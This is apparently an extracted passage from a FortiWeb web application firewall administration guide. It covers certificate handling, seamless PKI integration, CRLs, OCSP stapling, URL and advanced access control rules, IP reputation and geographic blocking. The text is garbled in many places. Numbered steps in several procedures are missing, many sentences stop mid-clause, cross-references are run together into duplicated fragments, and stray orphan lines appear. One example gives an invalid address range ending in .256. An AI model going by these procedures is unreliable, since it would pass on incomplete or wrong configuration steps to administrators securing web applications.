SecretKey file Click Choose File to locate the key file that you want to upload with
the certificate.
This is optional, used only for HMAC-SHA-1 sign.
5. Click OK.
6. Once you have uploaded the client certificates you want to use, create a Client Certifcate Group to include in your
WS-Security rule. For details, see To create a client certificate group on page 426 and Creating WS-Security rules
on page 570.

See also
To create a client certificate group

2. Click Client Certificate Group.
3. For Name, enter a name that can be referenced in other parts of the configuration.
4. Click OK.
5. Click Create New to add a client certificate to the group.
6. Select a client certificate from the drop-down list to include in the group.
7. Click OK.
8. Repeat the above steps to include additional client certificates in the group.
9. To apply the certificate for client authentication, select it in a WS-Security rule. For details, see Creating WS-
Security rules on page 570
See also
Seamless PKI integration
Seamless PKI integration allows you to configure FortiWeb to verify client certificates and resign a new certificate that is
sent to the server for client requests. You can configure a PKI environment in FortiWeb without changing the network or
application.
This feature is used for servers that authenticate users' priorities according to each user's client certificate. When
seamless PKI integration is configured, FortiWeb attempts to verify client certificates when users make requests. If
FortiWeb successfully verifies the client certificate, it uses the client certificate's subject name and extensions to create
a client certificate proxy and resign a new certificate that it then uses to connect to the server. If FortiWeb cannot
successfully verify the client certificate, the connection will be closed and an attack log will be generated.
Seamless PKI integration is available when FortiWeb is in Reverse Proxy and True Transparent Proxy mode.
For the client certificate proxy process to work, Certificate Verification or Enable
Server name Indication (SNI) needs to be configured in a server policy. For
details, see Configuring an HTTP server policy on page 242.
When Client Certificate Proxy is enabled in a server pool rule, if a Client
Certificate has also been selected, the Client Certificate will not be used and the
Client Certificate Proxy will take effect instead.

To configure seamless PKI integration in Reverse Proxy Mode
1. Go to System > Certificates > Sign CA.

2. For Type, select one of the following:
PKCS12 Certificate Upload a Certificate with key file and enter the Password
Certificate Upload a Certificate File, Key File, and enter the Password.
3. Click OK.
To modify an existing server pool, select it and click Edit.
To create a new server pool, click Create New.
6. Enter a Name for the server pool. You will use this name to select the pool in other parts of the configuration. The
7. Select Reverse Proxy for the Type.
8. If you select Server Balance for Single Server/Server Balance, see Configure these settings: on page 170 for
configuration instructions.
9. Click OK.
10. Modify an existing server pool rule or create a one new.
To modify an existing server pool rule, select it and click Edit.
Note: You will have to enable SSL if it is not already configured.
To create a new server pool rule, click Create New.
11. Enable SSL.
12. Enable Client Certificate Proxy.
13. For Client Certificate Proxy Sign CA, select the Sign CA you uploaded in For Type, select one of the following:
on page 427.
14. When you are finished configuring the rule, click OK.
To modify an existing server policy, select it and click Edit.
Note: You will have to select a value for the HTTPS Service if it is not already configured.
To create a new server policy, click Create New.
17. Configure either:
Certificate Verification Select the name of a certificate verifier that FortiWeb will use to
validate an HTTP client’s personal certificate.
Enable Server Name Enable this option and configure these settings:

Indication (SNI) l Enable Strict SNI—Optionally, enable so that FortiWeb will
ignore the Certificate when it determines which certificate to
present on behalf of server pool members.

l SNI Policy—Select the Server Name Indication (SNI)

configuration that determines which certificate FortiWeb
presents on behalf of the members of the server pool.
Note: You cannot enable both Certificate Verification and Enable Server Name Indication (SNI).
18. For Server Pool, select the server pool that you modified or created in Modify an existing server pool rule or create
a one new.To modify an existing server pool rule, select it and click Edit.Note: You will have to enable SSL if it is
not already configured.To create a new server pool rule, click Create New. on page 428.
19. Click OK.
To configure seamless PKI integration in True Transparent Proxy mode
1. Go to System > Certificates > Sign CA.

2. For Type, select either:
PKCS12 Certificate Upload a Certificate with key file and enter the Password
Certificate Upload a Certificate File, Key File, and enter the Password.
3. Click OK.
To modify an existing server pool, select it and click Edit.
To create a new server pool, click Create New.
6. Enter a Name for the server pool. You will use this name to select the pool in other parts of the configuration. The
7. Select True Transparent Proxy for the Type.
8. Click OK.
9. Modify an existing server pool rule or create a one new.
To modify an existing server pool rule, select it and click Edit.
Note: You will have to enable SSL if it is not already configured.
To create a new server pool rule, click Create New.
10. Enable SSL.
12. Enable Client Certificate Proxy.
13. For Client Certificate Proxy Sign CA, select the Sign CA you uploaded in For Type, select either: on page 429.
14. Configure either:
Certificate Verification Select the name of a certificate verifier that FortiWeb will use to
validate an HTTP client’s personal certificate.
Enable Server Name Enable this option and configure these settings:

Indication (SNI) l Enable Strict SNI—Optionally, enable so that FortiWeb will
ignore the Certificate when it determines which certificate to

present on behalf of server pool members.

l SNI Policy—Select the Server Name Indication (SNI)
configuration that determines which certificate FortiWeb
presents on behalf of the members of the server pool.
Note: You cannot enable both Certificate Verification and Enable Server Name Indication (SNI).
17. For Server Pool, select the server pool that you modified or created in Modify an existing server pool rule or create
a one new.To modify an existing server pool rule, select it and click Edit.Note: You will have to enable SSL if it is
not already configured.To create a new server pool rule, click Create New. on page 429.
To modify an existing server policy, select it and click Edit.
To create a new server policy, click Create New.
18. Click OK.
See also

l Defining your web servers on page 163
Revoking certificates
To ensure that FortiWeb validates only certificates that have not been revoked, you should periodically upload current
certificate revocation lists (CRL) that may be provided by certificate authorities (CA). Once you've uploaded the CRL(s)
you want to use, create CRL groups to include in your FortiWeb configuration.
To view or upload a CRL file
1. Go to System > Certificates > CRL and select the CRL tab.

2. Click Import.
3. Do one of the following to import a CRL file:
l Select HTTP, then enter the URL of an HTTP site providing a CRL service.
l Select SCEP, then enter the URL of the applicable Simple Certificate Enrollment Protocol (SCEP) server.
SCEP allows routers and other intermediate network devices to obtain certificates.
l Select Local PC, then browse to locate a certificate file.
Note: The maximum size for a CRL file is 4 MB.
4. Click OK.
The imported CRL file appears on System > Certificates > CRL with a name automatically assigned by the
FortiWeb appliance, such as CRL_1.
5. To use the CRL for client PKI authentication, add the CRL to a CRL group and select that group in a certificate
verification rule. For details, see Configuring FortiWeb to validate client certificates on page 421.

To create a CRL group
1. Go to System > Certificates > CRL and select the CRL Group tab.

2. Click Create New. You will use this name to select the CRL group in other parts of the configuration. The
3. Click OK.
4. Click Create New to add a CRL to the group.
5. Select a CRL from the drop-down menu to include in the group.
6. Click OK.
7. Repeat the above steps to include additional CRLs in the group.
8. To use the CRL group for client PKI authentication, select the CRL group in a certificate verification rule. For
details, see Configuring FortiWeb to validate client certificates on page 421.
How to export/back up certificates & private keys
Because FortiWeb requires your X.509 certificates to protect HTTPS transactions, when you back up your FortiWeb
configuration, make sure that you select a backup type that includes the certificates. If the FortiWeb hardware fails,
having backed-up certificates minimizes the time required to reconfigure a replacement appliance.
To further guarantee service uptime from the perspective of your clients, deploy your
FortiWeb in HA. For details, see FortiWeb high availability (HA) on page 48.
For information on the different backup methods and the backup options that include certificates, see Backups on page
322.
How to change FortiWeb's default certificate
The FortiWeb appliance presents its own HTTPS Server Certificate on page 60 for secure connections (HTTPS) to the
web UI. By default, A Fortinet factory certificate is used as the certificate. For details, see How to offload or inspect
HTTPS on page 396. To replace it with other certificates, here are the steps:
1. Go to System > Admin > Certificates and select the Admin Cert Local tab.
2. You can click View Certificate Detail to view the selected certificate’s subject, range of dates within which the
3. You can click Edit Comments to make a comment to the selected certificate.
4. To upload a certificate to replace the Fortinet factory default certificate, click Import and configure these settings:
Type Select type of the certificate you are uploading, PKCS12 Certificate

or Certificate.
Certificate with key file Select the certificate with key file from your local computer, if Type is
specified as PKCS12 Certificate.
Certificate file Select the certificate file from your local computer, if Type is specified
as Certificate
Key file Select the key file from your local computer, if Type is specified as
Certificate
Password Enter password for the certificate.
5. Click OK.
6. Go to System > Admin > Settings, select the certificate for the HTTPS Server Certificate on page 60. For
details, see Global web UI & CLI settings on page 59.
Configuring OCSP stapling
OCSP stapling is an improved approach to OCSP for verifying the revocation status of certificates. Rather than having
the client contact the OCSP server to validate the certificate status each time it makes a request, FortiWeb can be
configured to periodically query the OCSP server and cache a time-stamped OCSP response for a set period. The
cached response is then included, or "stapled," with the TLS/SSL handshake so that the client can validate the
certificate status when it makes a request.
This method of verifying the revocation status of certificates shifts the resource cost in providing OCSP responses from
the client to the presenter of a certificate. In addition, because fewer overall queries to the OCSP responder will be
made when OCSP stapling is configured, the total resource cost in verifying the revocation status of certificates is also
reduced.
OCSP stapling is available in Reverse Proxy, True Transparent Proxy, and

WCCP mode.
To configure OCSP stapling
1. Go to System > Certificates > OCSP Stapling and select an existing policy or create a new one.
Name Enter a name for the policy. The maximum length is 63 characters.
CA Certificate Select the CA certificate of the server certificate to be queried. For

Local Certificate Select the local certificate of the server certificate to be queried. For
details, see local certificate related information on How to offload or
inspect HTTPS on page 396.
OCSP URL Specify the URL of the OCSP responder server.

Comments Optionally, enter a description of the server OCSP stapling. The

3. Click OK.

Access control 433
Access control
You can control clients’ access to your web applications and limit the rate of requests. There are multiple ways to do
this, depending on whether your goal is to act based upon the URL, the client’s source IP, or something more complex.
See also

l Specifying allowed HTTP methods on page 529
Restricting access to specific URLs
You can configure URL access rules that define which HTTP requests FortiWeb accepts or denies based on their Host:
name and URL, as well as the origin of the request.
For example, access to administrative panels for your web application should only be allowed if the client’s source IP
address is an administrator’s computer on your private management network. Unauthenticated access from unknown
locations increases risk of compromise. Best practice dictates that such risk should be minimized.
URL access rules check only the URL path, and do not support query string checks. In addition, they are evaluated after
some other rules. As a result, permitted access can still be denied if it violates one of the rules that execute prior in the
sequence. For details, see Sequence of scans on page 25.
You can use SNMP traps to notify you when a URL access rule is enforced. For details, see SNMP traps & queries on
page 727.
To configure an URL access rule
1. Go to Web Protection > Access > URL Access and select the URL Access Rule tab.

Host Status Enable to require that the Host: field of the HTTP request match a protected
host names entry in order to match the URL access rule. Also configure Host.
Host Select which protected host names entry (either a web host name or IP
address) that the Host: field of the HTTP request must be in to match the
URL access rule.

Access control 434
Action Select the action that FortiWeb takes when it detects a violation of the rule.
Supported options vary (available options are listed in the description for each
specific rule), but may include:
l Alert & Deny—Block the request ( or reset the connection) and generate
l Pass—Allow the request. Do not generate an alert and/or log message.
l Continue—Continue by evaluating any subsequent rules defined in the
web protection profile. For details, see Sequence of scans on page 25. If
the request does not violate any other rules, FortiWeb allows the request.
If the single request violates multiple rules, it generates multiple attack
log messages.
The default value is Pass.
Caution: This setting will be ignored if Monitor Mode on page 251 is enabled.
Note: Logging and/or alert email will occur only if enabled and configured. For
details, see Logging on page 698 and Alert email on page 724.
contains a Severity Level (severity_level) field. Select which severity
level the FortiWeb appliance will use when it logs a violation of the rule:
l Informative
l Low
l Medium
l High
Trigger Action Select which trigger, if any, that the FortiWeb appliance will use when it logs
and/or sends an alert email about a violation of the rule. For details, see
4. Click OK.
5. Click Create New to add a new URL access condition entry to the set.
ID Type the index number of the individual rule within the URL access rule, or
keep the field’s default value of auto to let the FortiWeb appliance
automatically assign the next available index number.
Source Address Enable to add the client’s source IP address as a criteria for matching the URL
access rule. Also configure Source Address Type on page 434 and Source
Domain on page 435.
Source Address Type Select how FortiWeb determines matching client source IPs:
l IPv4/IPv6 / IP Range—A single IP address or an address range. Also
configure IPv4/IPv6 / IP Range on page 435.
l IP Resolved by Specified Domain—FortiWeb determines the source
IP to match by performing a DNS lookup for the specified domain. Also

Access control 435
configure Type on page 435 and IP Resolved by Specified Domain on

page 435.
l Source Domain—To determine a match, FortiWeb performs a reverse
DNS lookup for the client source IP to determine its corresponding
domain, and then compares the domain to the value of Source Domain
on page 435. Also configure Source Domain Type on page 435 and
Source Domain on page 435.
IPv4/IPv6 / IP Range Enter one of the following values:

l A single IP address that a client source IP must match, such as a trusted
private network IP address (e.g. an administrator’s computer,
192.0.2.109).
l A range of addresses (e.g., 192.0.2.1-192.0.2.256 or
10:200::10:1-10:200:10:100).
Available only if Source Address Type on page 434 is IPv4/IPv6 / IP Range.
Type Select the type of IP address FortiWeb retrieves from the DNS lookup of the
domain specified by IP Resolved by Specified Domain on page 435.
Available only if Source Address Type on page 434 is IP Resolved by
Specified Domain.
IP Resolved by Specified Enter the domain to match the client source IP after DNS lookup.
Domain Available only if Source Address Type on page 434 is IP Resolved by
Specified Domain.
Source Domain Type Specify whether the Source Domain on page 435 field contains a literal
domain (Simple String) or a regular expression designed to match multiple
When you finish typing the regular expression, click the >> (test) icon. This
opens the Regular Expression Validator window where you can fine-tune
the expression. For details, see Regular expression syntax on page 880.
Available only if Source Address Type on page 434 is Source Domain.
Source Domain Specify the domain to match.

Depending on the value of Source Domain Type on page 435, enter one of the
following:
l the literal domain
l a regular expression.
Available only if Source Address Type is Source Domain.
URL Type Select whether the URL Pattern field will contain a literal URL (Simple
String), or a regular expression designed to match multiple URLs (Regular
Expression).
URL Pattern Depending on your selection in URL Type, enter either:
l The literal URL, such as /folder1/index.htm that the HTTP request
must contain in order to match the rule, or use wildcards to match
multiple URLs, such as /folder1/* or /folder1/*/index.htm.
The URL must begin with a slash ( / ).
l A regular expression.
For example, if the URL is:

Access control 436
/send/index1.html
To match the exact, full URL when the name is between index1.html and
index9.html:
^/send/index[0-9]\.html
To match the root path regardless:

^/send/.*
The pattern does not require a slash ( / ). However, it must at least match
URLs that begin with a slash, such as /admin.cfm.
When you finish typing the regular expression, click the >> (test) icon. This
opens the Regular Expression Validator window where you can fine-tune
the expression. For details, see Regular expression syntax on page 880.
Do not include the domain name, such as www.example.com, which is
configured separately in the Host drop-down list for the URL access rule.
Most of the web protection modules including URL Access does not detect
RPC traffic, so if you set a URL in the URL Access policy that matches RPC
traffic, it will not take effect. If you want to restrict RPC traffic, use HTTP
Protocol Constraints.
Meet this condition if: Select whether the access condition is met when the HTTP request matches
both the regular expression (or text string) and source IP address of the client,
or when it does not match the regular expression (or text string) and/or source
IP address of the client.
7. Click OK.
8. Repeat the previous steps for each individual condition that you want to add to the URL access rule.
9. Go to Web Protection > Access > URL Access.
11. In Name, type a unique name that can be referenced by other parts of the configuration. The maximum length is
63 characters.
12. Click OK.
13. Click Create New to add an entry to the set.
14. From the Access Rule Name drop-down list, select the name of a URL access rule to include in the policy.
To view or change the information associated with the rule, select the Detail link. The URL Access Rule dialog
appears. Use the browser Back button to return.
15. Click OK.

Access control 437
16. Repeat the previous steps for each individual rule that you want to add to the URL access policy.
Rules at the top of the list have priority over rules further down. Use Move to change the order of the rules. The ID
value does not affect rule priority.
17. To apply the URL access policy, select it in an inline or Offline Protection profile. For details, see Configuring a
Attack log messages contain URL Access Violation when this feature detects a suspicious HTTP request.
See also

l Configuring a protection profile for an out-of-band topology or asynchronous mode of operation on page 233
Combination access control & rate limiting
What if you want to allow a web crawler, but only if it is not too demanding, and comes from a source IP that is known to
be legitimate for that crawler? What if you want to allow only a client that is a senior manager’s IP, and only if it hasn’t
been infected by malware whose access rate is contributing to a DoS?
Advanced access control rules provide a degree of flexibility for these types of complex conditions. You can combine any
or all of these criteria:
l Source IP
l User
l Rate limit (including rate limiting for specific types of content)
l HTTP header or response code
l URL
l Transaction or packet interval timeout
l Geo IP
l Parameter
l Time period
You use the rule's filters to specify all criteria that you require allowed traffic to match.
The filters apply to request traffic only, with the following exceptions:
l HTTP Response Code and Content Type apply to responses.
l Signature Violation applies to either requests or responses, depending on which signatures you enable.
l Occurrence applies to either requests or responses.
FortiWeb includes predefined rules that defend against some popular attacks. You cannot edit these predefined rules,
but you can view their settings or create duplicates of them that you can edit (that is, by cloning).
Advanced access control is available even if FortiWeb derives client source IP

addresses from the X-header field. For details, see Defining your proxies, clients, &
X-headers on page 193.

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To configure an advanced access control rule
1. Go to Web Protection > Advanced Protection > Custom Policy, and select the Custom Rule tab.

l To create a new rule, click Create New.
l To create a new rule based on a predefined rule, select the predefined rule to use, and then click Clone.
3. If you are cloning a predefined rule, enter a name for your new rule, and then click OK. To edit or review the rule
settings, select the rule, and then click Edit.
Action Select which action the FortiWeb appliance will take when it detects a
violation of the rule:
message.
l Period Block—Block subsequent requests from the client for a number
of seconds. Also configure Block Period on page 438.
The default value is Alert.
Caution: This setting is ignored when Monitor Mode on page 251 is enabled.
Block Period Type the number of seconds that you want to block subsequent requests from
the client after the FortiWeb appliance detects that the client has violated the
rule.
The valid range is from 1 to 3,600 seconds (1 hour). For details, see
l Informative
l Low
l Medium
l High

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Bot Confirmation Enable to confirm if the client is indeed a bot. The system sends RBE (Real
Browser Enforcement) JavaScript or CAPTCHA to the client to double check if
it's a bot.
For Browser
Verification Method l Disabled: Not to carry out the real browser verification.
l Real Browser Enforcement—Specifies whether FortiWeb returns a
JavaScript to the client to test whether it is a web browser or automated
tool when it meets any of the specified conditions. If the client fails the
test or does not return results before the Validation Timeout expires,
FortiWeb applies the Action. If the client appears to be a web browser,
FortiWeb allows the client to exceed the action.
l CAPTCHA Enforcement—Requires the client to successfully fulfill a
CAPTCHA request. If the client cannot successfully fulfill the request
within the Max Attempt Times or doesn't fulfill the request within the
Validation Timeout, FortiWeb applies the Action and sends the
CAPTCHA block page. For details, see Customizing error and
Validation Timeout Enter the maximum amount of time (in seconds) that FortiWeb waits for
results from the client.
Available only when the Verification Method is Real Browser Enforcement or
CAPTCHA Enforcement.
Max Attempt Times If CAPTCHA Enforcement is selected for Verification Method, enter the
maximum number of attempts that a client may attempt to fulfill a
CAPTCHA request.
For Mobile Client App Available only when Mobile Application Identification is enabled in System >
Config > Feature Visibility.
Verification Method l Disabled: Not to carry out the mobile token verification.
l Mobile Token Validation: Requires the client to use mobile token to
verify whether the traffic is from mobile devices.
To apply mobile token validation, you must enable Mobile App
Identification in Web Protection Profile.
5. Click OK.
7. From Filter Type, select one of the following conditions that a request must match in order to be allowed, then
click OK.
The Filter Type value determines which settings are displayed in the next dialog box.
l Source IPv4/IPv6/IP Range—Type the IP address of a client that is allowed. Depending on your
configuration of how FortiWeb derives the client’s IP, this may be the IP address that is indicated in an HTTP
header rather than the IP header. For details, see Defining your proxies, clients, & X-headers on page 193.

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To enter an address range, enter the first and last address in the range separated by a hyphen. For example,
for an IPv4 address, enter 192.0.2.1 – 192.0.2.155. For an IPv6 address, enter 2001::1-
2001::100.
For Meet this condition if, select one of the following:
l Source IP matches—The request will match the condition if it contains the Source
IPv4/IPv6/IP Range value.
l Source IP does not match—The request will match the condition if it doesn't contain the Source
IPv4/IPv6/IP Range value.
l User—Enter a user name to match, and then specify whether the condition matches if the request contains
the specified user name or matches only for user names other than the specified one.
Note: This type of filter requires you to select a user tracking policy in any protection profile that uses this
advanced access policy. For details, see Tracking users on page 380.
l URL—Enter a literal URL, such as /folder1/index.htm that the HTTP request must contain in order to
match the rule, or use wildcards to match multiple URLs, such as /folder1/* or
/folder1/*/index.htm. Or type a regular expression that matches one or more URLs, such as
/index\.jsp. Do not include the host name.
To accept requests that do not match the URL, do not precede the URL with an
exclamation mark (!). Use the CLI to configure the reverse-match {no |
yes} setting for this filter. For details, see the FortiWeb CLI Reference:
l HTTP Header—Indicate a single HTTP Header Name such as Host:, and all or part of its value in Header
Value. The request matches the condition if that header matches the exact name or value, or matches your
regular expression (depending on whether you have selected Simple String or Regular Expression). Value
matching is case sensitive and supports null value match.
If you select Header Value Reverse Match, the request matches the condition if the header does not
contain the exact value or regular expression.
Optionally, enable HTTP Method Check and configure a simple string or regular expression for the
HTTP method that FortiWeb will search for in the header field. When you enable HTTP Method Check, you
can also enable HTTP Method Reverse Match so that the request matches the condition if the header does
not contain the HTTP method's exact value or regular expression.
To prevent accidental matches, specify as much of the header’s value as

possible. Do not use an ambiguous substring.
For example, entering the value 192.0.2.1 would also match the IPs
192.0.2.10-19 and 192.0.2.100-199. This result is probably unintended. The
better solution would be to configure either:
l a regular expression such as ^192.0.2.1$ or
l a source IP condition instead of an HTTP header condition
l Access Rate Limit—This is the number of requests per second per client IP. Depending on your
configuration of how FortiWeb will derive the client’s IP, this may be the IP address that is indicated in an
HTTP header rather than the IP header. For details, see Defining your proxies, clients, & X-headers on page
193.
You can add only one Access Rate Limit filter to each rule.
l Signature Violation—Matches if FortiWeb detects a selected category or list of attack signatures in the
request or response. The following categories are available:

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o Cross Site Scripting

o Cross Site Scripting (Extended)
o SQL Injection
o SQL Injection (Extended)
o Generic Attacks
o Generic Attacks (Extended)
o Known Exploits
o Trojans
o Information Disclosure
o Bad Robot
o Custom Signature (group or individual rule)
A custom rule Vulnerability-Scanning is predefined, with some signature categories and lists customized.
l Geo IP—Choose the countries to match. If you select Yes, FortiWeb matches the traffic from all countries
except the ones you select. If you select No, FortiWeb matches the traffic from the countries you select.
To use one of these categories in an advanced access control rule, enable the corresponding item in your
signatures configuration. For details, see Blocking known attacks & data leaks on page 461.
l Transaction Timeout—Matches if the lifetime of a HTTP transaction exceeds the transaction timeout you
specify. Specify a timeout value of 1 to 3600 seconds.
l HTTP Response Code—Matches if a HTTP response code matches a code or range of codes that you
specify. For example, 404 or 500-503. To specify more than one response code or range, create additional
HTTP Response Code filters.
l Content Type—Matches an HTTP response for a file that matches one of the specified types. Use with
Occurrence to detect and control web scraping (content scraping) activity.
l Packet Interval Timeout—Matches if the time period between packets arriving from either the client or
server (request or response packets) exceeds the value in seconds you specify for Packet Timeout Interval.
Enter a value from 1 to 60.
l Time Period—Matches if the time period of a request matches that you specify. You can set a daily period or
fixed period.
l Occurrence—Matches if a transaction matches other filter types in the current rule at a rate that exceeds a
threshold you specify.
l To measure the rate by counting source client IP address, for Traced By, select Source IP.
l To measure by HTTP session, select HTTP Session.
Note: The HTTP Session option requires that you enable the Configuring a protection profile for inline
topologies option in your protection profile. For details, see Configuring a protection profile for inline
topologies on page 223.
l To measure by client, select User.
Note: The User option requires that you enable User Tracking in your protection profile. For details, see
8. Click OK to exit the sub-dialog and return to the rule configuration.
9. Repeat the previous steps for each individual criteria that you want to add to the access rule.
For example, you can require both a matching request URL, HTTP header, and client source IP in order to allow a
request.
You can add only one Access Rate Limit filter to each rule.
10. Click OK to save the rule.
11. Go to Web Protection > Advanced Protection > Custom Policy, and select the Custom Policy tab.
12. Click Create New. Group the advanced access rules into a policy.
For example, to create a policy that allows rate-limited access by 3 client IPs, you would group the corresponding 3

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advanced access rules for each of those IPs into the policy.
Two Predefined - Advanced Protection policies are available for the predefined Brute-Force-Login and Vulnerability-
Scanning rules.
13. Type a name for the custom policy which can be referenced in other parts of the configuration.
14. For Threat Weight, drag the bar to set the threat weight for each custom policy.
15. To apply the advanced access policy, select it as the Custom Policy on page 225 in a protection profile. For details,
see Configuring a protection profile for inline topologies on page 223 or Configuring a protection profile for an out-
of-band topology or asynchronous mode of operation on page 233.
Attack log messages contain Custom Access Violation when this feature detects an unauthorized access
attempt.
See also
Blacklisting & whitelisting clients
You can block requests from clients based upon their source IP address directly, their current reputation known to
FortiGuard, or which country or region the IP address is associated with.
Conversely, you can also exempt clients from scans typically included by the policy.
Blacklisting source IPs with poor reputation
It would be an impossible task to manually identify and block all known attackers in the world. To block:
l botnets
l spammers
l phishers
l malicious spiders/crawlers
l virus-infected clients
l clients using anonymizing proxies
l DDoS participants
you can configure FortiWeb to use the FortiGuard IP Reputation. IP reputation leverages many techniques for accurate,
early, and frequently updated identification of compromised and malicious clients so you can block attackers before
they target your servers. Data about dangerous clients derives from many sources around the globe, including:
l FortiGuard service statistics
l honeypots
l botnet forensic analysis
l anonymizing proxies
l 3rd party sources in the security community
From these sources, Fortinet compiles a reputation for each public IP address. Clients will have poor reputations if they
have been participating in attacks, willingly or otherwise. Because blacklisting innocent clients is equally undesirable,
Fortinet also restores the reputations of clients that improve their behavior. This is crucial when an infected computer is

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cleaned, or in DHCP or PPPoE pools where an innocent client receives an IP address that was previously leased by an
attacker.
Because IP reputation data is based on evidence of hostility rather than a client’s

current physical location on the globe, if your goal is to block attackers rather than
restrict delivery, this feature may be preferable.
The IP Reputation feature can block or log clients based on X-header-derived client
source IPs. For details, see Defining your proxies, clients, & X-headers on page 193.
IP reputation knowledge is regularly updated if you have subscribed and connected your FortiWeb to the FortiGuard IP
Reputation service. Due to this, new options appear periodically. You can monitor the FortiGuard website feed
(http://fortiguard.com/rss/fg.xml) for security advisories which may correlate with new IP reputation-related options. For
details, see Connecting to FortiGuard services on page 469.
Because geographical IP policies are evaluated before many other techniques,

defining these IP addresses can be used to improve performance. For details, see
To configure an IP reputation policy
1. If you need to exempt some clients’ public IP addresses due to possible false positives, configure IP reputation
exemptions first. Go to IP Protection > IP Reputation and select the Exceptions tab to create a new exception.
2. Go to IP Protection > IP Reputation and select the IP Reputation Policy tab.
3. In the Status column, enable the following categories of disreputable clients that you want to block and/or log:
Botnet Malware that may perform many malicious tasks, such as

downloading and executing additional malware, receiving commands
from a control server and relaying specific information and telemetry
back to the control server, updating or deleting itself, stealing login
and password information, logging keystrokes, participating in a
Distributed Denial of Service (DDoS) attack, or locking and encrypting
the contents of your computer and demanding payment for its safe
return.
Anonymous proxy A tool that attempts to make a user's activity untraceable. It acts as an
intermediary between users and the Internet so that users can access
the Internet anonymously. Users often be trying to bypass geography
restrictions or otherwise hide activity that they don't want traced to
them.
Phishing A social engineering technique that is used to obtain sensitive and

confidential information by masquerading as communications from a
trusted entity such as a well known institution, company, or website.
The malware is typically not in the communication itself, but in the
links within the communication.

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Spam A messaging technique in which a large volume of unsolicited

messages are sent to a large number of recipients. The content of
spam may be harmless, but often contain malware, too.
Tor A type of anonymous proxy that is available as software to facilitate

anonymous web browsing on the Internet. Tor directs user web traffic
through an overlay network to hide information about users. Users
aim to keep communication on the Internet anonymous. Tor may
allow users to circumvent security measures such as geography
restrictions or otherwise hide activity that they don't want traced to
them.
Others This includes threats to which the FortiGuard IP Reputation service

assigns a poor reputation, including virus-infected clients and
malicious spiders/crawlers.
APTs often mask their source IP using anonymizing proxies. While casual
attackers will move on to easier potential targets if their initial attempts fail,
APTs are motivated to persist until they achieve a successful breach. Early
warning can be critical. Therefore even if some innocent anonymous clients use
your web servers and you do not want to block them, you still may want to log
proxied anonymous requests.
Filtering your other attack logs by these anonymous IPs can help you to locate
and focus on dangerous requests from these IPs, whether you want to use them
to configure a defense, for law enforcement, or for forensic analysis.
4. For the categories that you enabled, configure these settings:
Action Select the action that FortiWeb takes when it detects the category:
message.
668.
668.
Note: If FortiWeb is deployed behind a NAT load balancer, when
using this option, you must also define an X-header that
indicates the original client’s IP. For details, see Defining your
proxies, clients, & X-headers on page 193. Failure to do so may
cause FortiWeb to block all connections when it detects a

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violation of this type.

the protection profile and generate an alert email and/or log
message. Also configure Redirect URL on page 228 and Redirect
URL With Reason on page 228.
l Send 403 Forbidden—Reply with an HTTP 403 Access
Forbidden error message and generate an alert and/or log
message.
The default action is Alert.
requests from the client after the FortiWeb appliance detects the
category.
This setting is available only if the Action on page 444 is set to Period
Block. The valid range is from 1 to 3,600 seconds (1 hour). For
details, see Monitoring currently blocked IPs on page 742.
Severity When categories are recorded in the attack log, each log message
contains a Severity Level (severity_level) field. In each row,
select which severity level the FortiWeb appliance will use when it
logs a violation of the rule:
l Informative
l Low
l Medium
l High
The default value is High.
Trigger Action Select which trigger, if any, that FortiWeb will carry out when it logs
and/or sends an alert email about the detection of a category. For
details, see Viewing log messages on page 718.
5. Click Apply.
6. To apply your IP reputation policy, enable IP Reputation on page 227 in a protection profile that is used by a policy.
For details, see Configuring a protection profile for inline topologies on page 223 or Configuring a protection profile
for an out-of-band topology or asynchronous mode of operation on page 233.
Attack log messages contain Anonymous Proxy : IP Reputation Violation or Botnet : IP
Reputation Violation when this feature detects a possible attack.
See also
l "Predefined suspicious request URLs" on page 1

l "Recognizing data types" on page 1
l Connecting to FortiGuard services on page 469
l How often does Fortinet provide FortiGuard updates for FortiWeb? on page 474
Blacklisting & whitelisting countries & regions
While many websites are truly global in nature, others are specific to a region. Government web applications that
provide services only to its residents are one example.

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In such cases, when requests appear to originate from other parts of the world, it may not be worth the security risk to
accept them.
l DDoS botnets and mercenary hackers might be the predominant traffic source.
l Anonymizing VPN services or Tor may have been used to mask the true source IP of an attacker that is actually
within your own country.
Blacklisting clients individually in this case would be time-consuming and difficult to maintain due to PPPoE or other
dynamic allocations of public IP addresses, and IP blocks that are re-used by innocent clients.
FortiWeb allows you to block traffic from many IP addresses that are currently known to belong to networks in other
regions. It uses a MaxMind GeoLite (https://www.maxmind.com) database of mappings between geographical regions
and all public IP addresses that are known to originate from them.
You can also specify exceptions to the blacklist, which allows you to, block a country or region but allow a geographic
location within that country or region. If you configure Known Search Engines in Configuring known bots on page 754,
blacklisting will also bypass client source IP addresses if they are using a known search engine.
Because network mappings may change as networks grow and shrink, if you use this feature, be sure to periodically
update the geography-to-IP mapping database. To download the file, go to the Fortinet Customer Service & Support
website:
Because geographical IP policies are evaluated before many other techniques,

defining these IP addresses can be used to improve performance. For details, see
To configure blocking by geography
1. Verify that client source IP addresses are visible to FortiWeb in either the X-headers or as the SRC field at the IP
layer. For details, see Defining your web servers & load balancers on page 160.
If FortiWeb is behind an external load balancer that applies SNAT, for example, you may need to configure it to
append its and the client’s IP address to X-Forwarded-For: in the HTTP header so that FortiWeb can apply
this feature. Otherwise, all traffic may appear to come from the same client, with a private network IP: the external
load balancer.
2. If you want to use a trigger to create a log message and/or alert email when a geographically blacklisted client
attempts to connect to your web servers, configure the trigger first. For details, see Viewing log messages on page
718.
3. If you need to exempt some clients’ public IP addresses, configure Geo IP reputation exemptions first:
l Go to IP Protection > Geo IP.
l To access this part of the web UI, your administrator’s account access profile must have Read and Write
permission to items in the Web Protection Configuration category. For details, see Permissions on page
56.
l Specify a name for the exception item, and then click OK.

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l Click Create New to add IPv4/IPv6 addresses (for example, 192.168.0.1 or 2001::1) or IPv4/IPv6
ranges (for example, 192.168.0.1-192.168.0.256 or 2001::1-2001::100) to the exception item,
as required.
4. Go to IP Protection > Geo IP.
level the FortiWeb appliance will use when a blacklisted IP address attempts
to connect to your web servers:
l Informative
l Low
l Medium
l High
Trigger Action Select which trigger, if any, that the FortiWeb appliance uses when it logs
and/or sends an alert email about a blacklisted IP address’s attempt to
connect to your web servers. For details, see Viewing log messages on page
718.
Exception If required, select the exceptions configuration you created in If you need to
exempt some clients’ public IP addresses, configure Geo IP reputation
exemptions first: on page 446.
7. Click OK.
9. From the Country list on the left, select one or more geographical regions that you want to block, then click the
right arrow to move them to the Selected Country list on the right.
In addition to countries, the Country list also includes distinct territories within a country, such as Puerto Rico and
